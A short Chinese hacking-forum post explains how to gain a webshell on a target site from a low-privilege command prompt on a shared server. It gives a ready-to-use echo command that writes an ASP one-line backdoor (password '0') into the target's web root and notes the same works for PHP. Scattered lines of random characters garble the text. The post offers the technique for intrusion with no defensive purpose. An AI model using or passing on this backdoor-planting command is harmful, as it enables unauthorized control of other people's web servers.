旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
4 A( o: L) u" W+ v0 T+ S/ S
8 v: N3 ?" F1 G# K! b6 o- k: I命令格式
0 t0 b. @; ?9 J/ s6 j. `
1 J& z1 u8 c* wEcho 语句 >目标站绝对目录

: B: [; A4 \/ S例如：
# r5 o- O1 ~; l) w6 K1 K
; X" n3 h1 h$ S9 d: qecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp

7 L8 K% J1 U; Y5 f9 H这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
7 T  ~! J. |" g3 Z# p" y